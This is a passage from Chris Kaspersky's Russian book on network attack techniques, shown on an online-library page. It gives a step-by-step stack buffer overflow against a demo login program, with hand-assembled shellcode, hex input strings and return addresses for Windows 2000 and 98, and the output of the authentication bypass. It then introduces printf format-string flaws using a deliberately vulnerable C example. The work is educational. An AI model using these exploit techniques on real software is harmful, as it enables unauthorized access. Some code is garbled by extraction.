- Любовные романы
- Фантастика и фэнтези
- Ненаучная фантастика
- Ироническое фэнтези
- Научная Фантастика
- Фэнтези
- Ужасы и Мистика
- Боевая фантастика
- Альтернативная история
- Космическая фантастика
- Попаданцы
- Юмористическая фантастика
- Героическая фантастика
- Детективная фантастика
- Социально-психологическая
- Боевое фэнтези
- Русское фэнтези
- Киберпанк
- Романтическая фантастика
- Городская фантастика
- Технофэнтези
- Мистика
- Разная фантастика
- Иностранное фэнтези
- Историческое фэнтези
- LitRPG
- Эпическая фантастика
- Зарубежная фантастика
- Городское фентези
- Космоопера
- Разное фэнтези
- Книги магов
- Любовное фэнтези
- Постапокалипсис
- Бизнес
- Историческая фантастика
- Социально-философская фантастика
- Сказочная фантастика
- Стимпанк
- Романтическое фэнтези
- Ироническая фантастика
- Детективы и Триллеры
- Проза
- Юмор
- Феерия
- Новелла
- Русская классическая проза
- Современная проза
- Повести
- Контркультура
- Русская современная проза
- Историческая проза
- Проза
- Классическая проза
- Советская классическая проза
- О войне
- Зарубежная современная проза
- Рассказы
- Зарубежная классика
- Очерки
- Антисоветская литература
- Магический реализм
- Разное
- Сентиментальная проза
- Афоризмы
- Эссе
- Эпистолярная проза
- Семейный роман/Семейная сага
- Поэзия, Драматургия
- Приключения
- Детская литература
- Загадки
- Книга-игра
- Детская проза
- Детские приключения
- Сказка
- Прочая детская литература
- Детская фантастика
- Детские стихи
- Детская образовательная литература
- Детские остросюжетные
- Учебная литература
- Зарубежные детские книги
- Детский фольклор
- Буквари
- Книги для подростков
- Школьные учебники
- Внеклассное чтение
- Книги для дошкольников
- Детская познавательная и развивающая литература
- Детские детективы
- Домоводство, Дом и семья
- Юмор
- Документальные книги
- Бизнес
- Работа с клиентами
- Тайм-менеджмент
- Кадровый менеджмент
- Экономика
- Менеджмент и кадры
- Управление, подбор персонала
- О бизнесе популярно
- Интернет-бизнес
- Личные финансы
- Делопроизводство, офис
- Маркетинг, PR, реклама
- Поиск работы
- Бизнес
- Банковское дело
- Малый бизнес
- Ценные бумаги и инвестиции
- Краткое содержание
- Бухучет и аудит
- Ораторское искусство / риторика
- Корпоративная культура, бизнес
- Финансы
- Государственное и муниципальное управление
- Менеджмент
- Зарубежная деловая литература
- Продажи
- Переговоры
- Личная эффективность
- Торговля
- Научные и научно-популярные книги
- Биофизика
- География
- Экология
- Биохимия
- Рефераты
- Культурология
- Техническая литература
- История
- Психология
- Медицина
- Прочая научная литература
- Юриспруденция
- Биология
- Политика
- Литературоведение
- Религиоведение
- Научпоп
- Психология, личное
- Математика
- Психотерапия
- Социология
- Воспитание детей, педагогика
- Языкознание
- Беременность, ожидание детей
- Транспорт, военная техника
- Детская психология
- Науки: разное
- Педагогика
- Зарубежная психология
- Иностранные языки
- Филология
- Радиотехника
- Деловая литература
- Физика
- Альтернативная медицина
- Химия
- Государство и право
- Обществознание
- Образовательная литература
- Учебники
- Зоология
- Архитектура
- Науки о космосе
- Ботаника
- Астрология
- Ветеринария
- История Европы
- География
- Зарубежная публицистика
- О животных
- Шпаргалки
- Разная литература
- Зарубежная литература о культуре и искусстве
- Пословицы, поговорки
- Боевые искусства
- Прочее
- Периодические издания
- Фанфик
- Военное
- Цитаты из афоризмов
- Гиды, путеводители
- Литература 19 века
- Зарубежная образовательная литература
- Военная история
- Кино
- Современная литература
- Военная техника, оружие
- Культура и искусство
- Музыка, музыканты
- Газеты и журналы
- Современная зарубежная литература
- Визуальные искусства
- Отраслевые издания
- Шахматы
- Недвижимость
- Великолепные истории
- Музыка, танцы
- Авто и ПДД
- Изобразительное искусство, фотография
- Истории из жизни
- Готические новеллы
- Начинающие авторы
- Спецслужбы
- Подростковая литература
- Зарубежная прикладная литература
- Религия и духовность
- Старинная литература
- Справочная литература
- Компьютеры и Интернет
- Блог
ТЕХНИКА СЕТЕВЫХ АТАК - Крис Касперский
Шрифт:
Интервал:
Закладка:
Для того чтобы передать управление на начало буфера необходимо знать его адрес. Дизассемблирование в этом вряд ли поможет, поскольку не дает представления о значении регистра ESP в момент вызова программы, поэтому необходимо воспользоваться отладчиком. Для платформы Windows хорошо себя зарекомендовал Soft-Ice от NuMega, но для экспериментов, описываемых в книге, вполне подойдет и отладчик, интегрированный в Microsoft Visual Studio.
Установив точку останова в строке 0x0401028, необходимо запустить программу на выполнение и, дождавшись «всплытия» отладчика, и посмотреть на значение регистра EAX. Предыдущая команда только что занесла в него адрес буфера, предназначенного для ввода имени пользователя. Под Windows 2000 он равен 0x12FF6C, но под Windows 98 - 0x63FDE4. Это происходит по той причине, что нижняя граница стека в различных операционных системах разная. Поэтому, программные реализации атак подобного типа очень чувствительны к используемой платформе.
В двадцать восемь байт двух буферов (и еще четыре байта регистра EBP в придачу) очень трудно затолкать код, делающий нечто полезное, однако, в подавляющем большинстве случаев в атакуемых программах присутствуют буфера гораздо большего размера. Но для демонстрации принципиальной возможности передачи своего собственного кода на сервер, вполне достаточно выполнить одну команду “MOV EAX,1”, заносящую в регистр EAX ненулевое значение. Тогда, независимо от введенного пароля, аутентификации будет считаться успешной, ибо:
· if (auth())
· printf("Password okn");
· else
· printf("Invalid passwordn");
·Строка, передающая управление на начало буфера имени пользователя, под Windows 2000 в шестнадцатеричном представлении должна выглядеть так: “???????????????????????????????? 6C FF 12”, а под Windows 98 (Windows 95) так: “???????????????????????????????? E4 FD 63”.
Опкод команды “MOV EAX, const” равен “B8 x x x x”, где “x” обозначает каждый байт константы. Так, например, “MOV EAX, 0x31323334” в шестнадцатеричном представлении выглядит так: "B8 34 33 32 31”.
Вернуть управление основному телу программы можно множеством способов, например, воспользоваться командной перехода JMP. Но конструкция “JMP label” неудобна в обращении, поскольку в микропроцессорах серии Intel 80x86 метка представляет собой относительное смещение, отсчитываемое от адреса следующей за JMP команды. Т.к. расположение стека (а вместе с ним и команды JMP) варьируется в зависимости от операционной системы, то полученный код окажется системно-зависимым. Поэтому, лучше воспользоваться регистровой адресацией: “JMP reg”, где reg - 32-разрядный регистр общего назначения.
Однако на передаваемый во вводимой строке код наложены определенные ограничения. Например, с клавиатуры невозможно ввести символ нуля, поэтому команду MOV REG, 0x00401081 [311]” использовать не получится. Для решения этой проблемы необходимо найти регистр уже содержащий нуль в старшем байте. При помощи отладчика нетрудно убедиться, что старшие 16 бит регистра ECX равны “0x40”, поэтому остается скорректировать младшее слово командой MOV CX,0x1018. В результате получается следующий код:
· MOV EAX,0x31323334· MOV CX, 0x1081· JMP ECX
Перевести ассемблерный листинг в машинный код можно, например, с помощью утилиты HIEW, предварительно переведя его в 32 разрядный режим. Если все сделать правильно, в результате работы должно получится следующее:
· 00000000: B834333231 mov eax,031323334;"1234"
· 00000005: 66B98110 mov cx,01081;">?"
· 00000009: FFE1 jmp ecx
А строка, которую необходимо набрать вместо имени пользователя в шестнадцатеричном представлении полностью выглядит так: “B8 34 33 32 31 66 B9 81 10 FF E1?????????? 6C FF 12 [312]”, где “??” любой байт. Некоторые из этих символов невозможно непосредственно ввести с клавиатуры, поэтому приходится прибегать к помощи клавиши Alt.
Другой способ заключается в использовании перенаправления ввода. Для этого необходимо создать файл приблизительно следующего содержания (на диске, прилагаемом к книге, он расположен в директории “/SRC” и называется “buff.demo.2000.key”)
· 00000000: B8 34 33 32 31 66 B9 81 ¦ 10 FF E1 66 66 66 66 66 ¬4321f¦Б> сfffff
· 00000010: 6C FF 12 0D 0A 0D 0A ¦ l ¦d0d0
Он состоит из двух строк, завершаемых последовательностью «CRLF», представляющих собой имя пользователя и пароль. А запускать его необходимо следующим образом: “buff.demo.exe «buff.demo.2000.key”. После завершения работы программы экран должен выглядеть приблизительно так:
· F:TPNAsrc»buff.demo.exe
· Buffer Overflows Demo
· Login:¬1234f¦Б^P с12345l ^R
· Passw:
· Password ok
Таким образом, ошибка программиста привела к возможности передачи управления на код злоумышленника и позволила ему проникнуть в систему еще на стадии аутентификации! Кстати, некоторые версии UNIX содержали ошибку переполнения буфера при вводе имени пользователя или пароля, поэтому рассмотренный выше пример трудно назвать надуманным.
Поскольку, при запуске программы из-под Windows 98, буфер имени пользователя располагается по другому адресу, то необходимо скорректировать адрес возврата с 0x12FF6C на 0x63FDE4 (кстати, в Windows 98 не работает клавиша Alt и единственный путь ввести строку - воспользоваться перенаправлением ввода):
· 00000000: B8 34 33 32 31 66 B9 81 ¦ 10 FF E1 66 66 66 66 66 ¬4321f¦Б> сfffff
· 00000010: E4 FD 63 0D 0A 0D 0A ¦ l ¦d0d0
Однако при попытке ввода такой строки происходит аварийное закрытие приложения. Отладчик позволяет установить, что управление получает не требуемый код, а какой-то непонятный мусор. Оказывается, операционная система Windows 98 портит содержимое стека, расположенное выше указателя (т.е. в младших адресах). Такое поведение является вполне нормальным, поскольку сохранность памяти, лежащей выше указателя стека не гарантируется. Экспериментально удается установить, с адреса 0x63FDE8 начинается неиспорченный «кусочек» стека, который пригоден для размещения кода.
Одина из возможных реализаций атаки, работающей под управлением Windows 98, показана ниже (на диске, прилагаемом к книге, она содержится в файле “/SRC/buff.demo.98.key”):
· 00000000: 31 32 33 34 B8 01 02 03 ¦ 04 66 B9 81 10 FF E1 31 1234¬OO¦¦f¦Б> с1
· 00000010: E8 FD 63 0D 0A 31 32 33 ¦ 34 0D 0A ш¤cd01234d0
Четыре байта в начале строки - произвольны. Они необходимы лишь затем, чтобы сместить исполняемый код в непортящийся регион стека. Соответственно необходимо скорректировать адрес возврата, передавая управление не на начало буфера (которое окажется затерто), а на первый байт исполняемого кода.
Ниже приведен результат использования такой строки под управлением Windows 98. Это работает! (При перенаправлении ввода, вводимая строка не отображается на экране, потому имя и пароль отсутствуют):
· buff.demo.exe «buff.demo.98.key
· Buffer Overflows Demo
· Login:Passw:Password ok
Для предотвращения переполнения буфера программистам рекомендуют использовать функции, позволяющие явно указывать максимальное количество считываемых с клавиатуры символов. Но этот прием сам по себе еще не гарантирует неуязвимость приложения. Например, в примере, приведенном ниже, на первый взгляд все как будто бы нормально (на диске, прилагаемом к книге, этот пример содержится в файле “/SRC/buff.printf.c”):
· #include «string.h»·· void main()· {· FILE *psw;· char buff[32];· char user[16];· char pass[16];· char _pass[16];·· printf("printf bug demon");· if (!(psw=fopen("buff.psw","r"))) return;· fgets( amp;_pass[0],8,psw);·· printf("Login:");fgets( amp;user[0],12,stdin);· printf("Passw:");fgets( amp;pass[0],12,stdin);·· if (strcmp( amp;pass[0], amp;_pass[0]))· sprintf( amp;buff[0],"Invalid password: %s", amp;pass[0]);· else· sprintf( amp;buff[0],"Password okn");·· printf( amp;buff[0]);··}
Все строки, читаемые как с клавиатуры, так и из файла паролей, гарантированно влезают в отведенный им буфер и ни при каких обстоятельствах не могут выйти за его границы. При условии, что у злоумышленника нет доступа к файлу “buff.psw”, содержащего пароли пользователей [313], он никак не сможет обойти защиту [314]. Кажется, в десятке строк трудно ошибиться, и никаких дыр тут нет.
Психологическая инерция подводит и на этот раз. И, видимо, не только разработчиков, но, в том числе, и злоумышленников, поскольку тип атаки, описанный ниже, не получил большого распространения. Поэтому, многие из приложений, считающиеся защищенными, все же содержат грубые ошибки, позволяющие легко и незаметно проникнуть в систему.
Речь идет о «большой дыре» в функции “printf”, вернее дыра находится не в одной конкретной функции (тогда бы она могла бы быть безболезненно устранена), а в самом языке Си. Одни из его недостатков заключается в том, что функция не может определить сколько ей было передано параметров. Поэтому, функциям с переменным количеством аргументов, приходится каким-то образом передавать и число этих самых аргументов.
Функция “printf” использует для этой цели строку спецификаторов, и ее вызов может выглядеть, например, так: “printf(“Name: %snAge: %dnIndex: %xn”, amp;s[0],age,index)”. Количество спецификаторов должно быть равно количеству передаваемых функции переменных. Но что произойдет, если равновесие нарушится?
Возможно два варианта - переменных больше, чем спецификаторов и переменных меньше, чем спецификаторов. Пока количество спецификаторов не превышает количества переданных параметров, не происходит ничего интересного, поскольку, из стека аргументы удаляются не самой функцией, а вызывающим ее кодом (который уж наверняка знает, сколько аргументов было передано) разбалансировки стека не происходит и все работает нормально. Но если количество спецификаторов превышает количество требуемых аргументов, функция, пытаясь прочитать очередной аргумент, обратится к «чужим» данным! Конкретное поведение кода зависит от компилятора и содержимого стека на момент вызова функции “printf”.

